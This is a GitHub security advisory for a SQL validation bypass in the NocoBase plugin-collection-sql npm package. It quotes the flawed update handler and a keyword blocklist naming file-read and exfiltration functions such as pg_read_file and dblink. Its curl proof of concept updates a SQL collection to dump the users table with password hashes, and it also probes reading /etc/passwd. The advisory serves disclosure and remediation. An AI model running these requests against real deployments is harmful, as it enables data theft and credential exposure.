GitHub Advisoryadvisory · npm

GHSA-wrwh-c28m-9jjh @nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call

HIGH Published 2026-04-22 Modified 2026-05-08 Official page ↗
Aliases
CVE-2026-41641
Ecosystem
npm
Packages
@nocobase/plugin-collection-sql
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-284, CWE-89
Reviewed
2026-04-22

Affected packages

• npm @nocobase/plugin-collection-sql: < 2.0.39 → fixed in 2.0.39

Description

Summary The `checkSQL()` validation function that blocks dangerous SQL keywords (e.g., `pg_read_file`, `LOAD_FILE`, `dblink`) is applied on the `collections:create` and `sqlCollection:execute` endpoints but is entirely missing on the `sqlCollection:update` endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. Affected component: `@nocobase/plugin-collection-sql` Affected versions: { const { sql } = ctx.action.params.values || {}; try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } // ... } ``` `checkSQL` is NOT applied on update ```javascript // Line 105-118 — update action: checkSQL IS NOT called update: async (ctx: Context, next: Next) => { const transaction = await ctx.app.db.sequelize.transaction(); try { const { upRes } = await updateCollection(ctx, transaction); // No checkSQL() call anywhere in this path! const [collection] = upRes; await collection.load({ transaction, resetFields: true }); await transaction.commit(); } // ... } ``` The `checkSQL` function itself `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28` ```javascript export const checkSQL = (sql: string) => { const dangerKeywords = [ 'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE', 'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ... ]; sql = sql.trim().split(';').shift(); if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) { throw new Error('Only supports SELECT statements or WITH clauses'); } if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) { throw new Error('SQL statements contain dangerous keywords'); } }; ``` PoC ```bash TOKEN="" Step 1: Create collection with valid SQL (passes checkSQL) curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name": "exfil_collection", "sql": "SELECT 1 as id", "fields": [{"name": "id", "type": "integer"}], "template": "sql" }' Step 2: Verify checkSQL blocks dangerous SQL on create curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}' Returns: 400 "SQL statements contain dangerous keywords" Step 3: Update with dangerous SQL — bypasses checkSQL entirely curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \ -X POST \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "sql": "SELECT * FROM users", "fields": [ {"name": "id", "type": "integer"}, {"name": "email", "type": "string"}, {"name": "password", "type": "string"} ] }' Returns: 200 OK — no validation! Step 4: Query the collection to exfiltrate data curl -s "http://TARGET:13000/api/exfil_collection:list" \ -H "Authorization: Bearer $TOKEN" Returns: all rows from users table including password hashes ``` Impact • Confidentiality: Arbitrary `SELECT` queries exfiltrate any table. Confirmed dump of the `users` table including password hashes. • Integrity/Availability: Although `checkSQL` strips after the first semicolon, dangerous single-statement operations like `SELECT ... INTO`, subqueries with side effects, or database-specific functions (`pg_read_file`, `LOAD_FILE`, `dblink`) are all accessible through the update bypass. • Privilege escalation: On PostgreSQL, `dblink` enables lateral movement to other databases. `pg_read_file` reads arbitrary files from the database server filesystem. Fix Suggestion 1. Add `checkSQL()` to the `update` action. The one-line fix: ```javascript update: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; if (sql) { try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } } // ... existing code ... } ``` 2. Centralize validation in middleware rather than per-action. Apply `checkSQL` in the resource middleware for any action that accepts a `sql` field, so future actions cannot accidentally skip it. 3. Strengthen the blocklist. The current list is missing `COPY` (PostgreSQL file I/O and RCE), `CREATE`, `ALTER`, `DROP`, `GRANT`, `SET`, and `EXECUTE`. Consider switching to a parser-based allowlist that only permits `SELECT` and `WITH ... SELECT` at the AST level rather than relying on keyword blocklisting.

Related

Alias · CVE (1)

  • CVE-2026-41641 NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. vulnerability

Weakness · CWE (2)

  • CWE-284 Improper Access Control weakness
  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References